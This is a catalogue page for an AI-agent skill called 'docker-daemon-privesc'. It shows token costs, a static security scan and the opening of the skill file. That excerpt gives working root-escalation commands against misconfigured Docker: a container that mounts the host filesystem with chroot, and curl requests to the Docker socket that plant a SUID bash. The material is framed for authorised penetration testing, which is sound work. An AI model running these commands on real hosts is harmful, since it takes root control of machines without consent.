docker-daemon-privesc

docker-daemon-privesc is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 50 tokens per session (1,203 once invoked), scanned A, original, MIT.

A privilege-escalation guide for Docker setups where users can access the Docker daemon socket or belong to the Docker group. Docker is a tool for running applications in isolated containers, but unsafe host access can expose the whole machine.

In plain words
What is it for?
Reviewing Linux hosts and containers, checking Docker group membership and socket permissions, and testing whether Docker access can lead to host compromise.
Why use it?
A misconfigured Docker socket can let a limited user start containers with access to the host filesystem and obtain root-level control. The checks show how to identify this risk during an authorised assessment.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Not installable on its own: it reads a path above its own folder, which only exists inside its repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Install

Getting it into your agent

There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for docker-daemon-privesc

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/docker-daemon-privesc.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/docker-daemon-privesc)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/docker-daemon-privesc"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/docker-daemon-privesc.svg" alt="Measured on agentmods" height="20"></a>
Per session 50 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,203 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00050 $0.01203
Opus 5 $0.00025 $0.00602
Sonnet 5 $0.00010 $0.00241
Haiku 4.5 $0.00005 $0.00120

Measured 2d ago against content hash 3180be3c297b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

docker-daemon-privesc scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/doc

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/doc

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [docker, curl]
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/docker-daemon-privesc/SKILL.md · 127 lines

How it starts

The opening of the file, as written. The whole thing — 127 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Docker Daemon Privilege Escalation

When to Use

  • During a Linux local privilege escalation phase.
  • When you have a shell as a non-root user who is a member of the docker group.
  • When you discover a writable Docker socket (e.g., /var/run/docker.sock) mounted inside a container or accessible on the host.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Enumeration

# Concept: Check if the current user is in the docker group or if the socket is writable. id
# Output: uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Check socket permissions ls -l /var/run/docker.sock
# Output: srw-rw---- 1 root docker 0 Oct 26 10:00 /var/run/docker.sock

Phase 2: Exploitation via Docker CLI

If the docker command is available:

# docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# id
# Output: uid=0(root) gid=0(root) groups=0(root)

(Explanation: This mounts the host's root filesystem / into the container at /mnt and drops you into a shell inside the container but chrooted to the host's filesystem as root).

Phase 3: Exploitation via API (Curl)

If the docker CLI tool is not installed, but you can write to the socket:

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/docker.sock http://localhost/containers/create

# Start the container curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<CONTAINER_ID>/start

# Execute the SUID binary on the host tmp/bash -p
Decision Point 🔀
flowchart TD
    A[Enumerate Docker ] --> B{In Docker Group / Socket Access? ]}
    B -->|Yes| C[Is Docker CLI present? ]
    B -->|No| D[Check other PrivEsc vectors ]
    C -->|Yes| E[Run container mounting Host FS ]
    C -->|No| F[Curl Docker API ]

Read the full file on GitHub · 127 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 127 lines · 50 tokens per session scan A 3180be3c297b

Subscribe to this mod's changes

docker-daemon-privesc is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 50 tokens to every session and 1,203 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, asks for root, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

docker-privesc

Escape Docker containers to host root via 5 techniques.

uphiago/recon-skills · 16 tokens

alpine

Alpine Linux reference — the minimal, security-oriented distribution for containers. Covers apk package management, Docker optimization, multi-stage builds, musl vs glibc compatibility, OpenRC system admin, security hardening, and common troubleshooting.

bytesagain/ai-skills · 50 tokens

analyzing-cron-job-privesc-vectors

Identify and exploit Linux cron job misconfigurations to escalate privileges from a low-privilege user to root. Covers writable cron scripts, world-writable PATH entries, wildcard injection, and cron-based reverse shells in isolated lab environments.

withcrux/agentHack-skills · 58 tokens

analyzing-sudo-rules-for-privesc-vectors

Enumerate and exploit sudo misconfigurations on Linux systems to escalate privileges. Covers NOPASSWD entries, wildcard abuse, sudo -l enumeration, LDPRELOAD injection, and GTFOBins lookup for allowed commands in isolated lab environments. Core skill for Linux privilege escalation phases.

withcrux/agentHack-skills · 70 tokens

detecting-suid-misconfigurations-for-privesc

Identify SUID (Set User ID) binary misconfigurations on Linux systems that allow unprivileged users to escalate to root. Covers manual enumeration, GTFOBins technique lookup, and exploitation in isolated lab environments. Essential skill for Linux privilege escalation during penetration testing engagements.

withcrux/agentHack-skills · 67 tokens

privesc-linpeas

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial…

AgentSecOps/SecOpsAgentKit · 153 tokens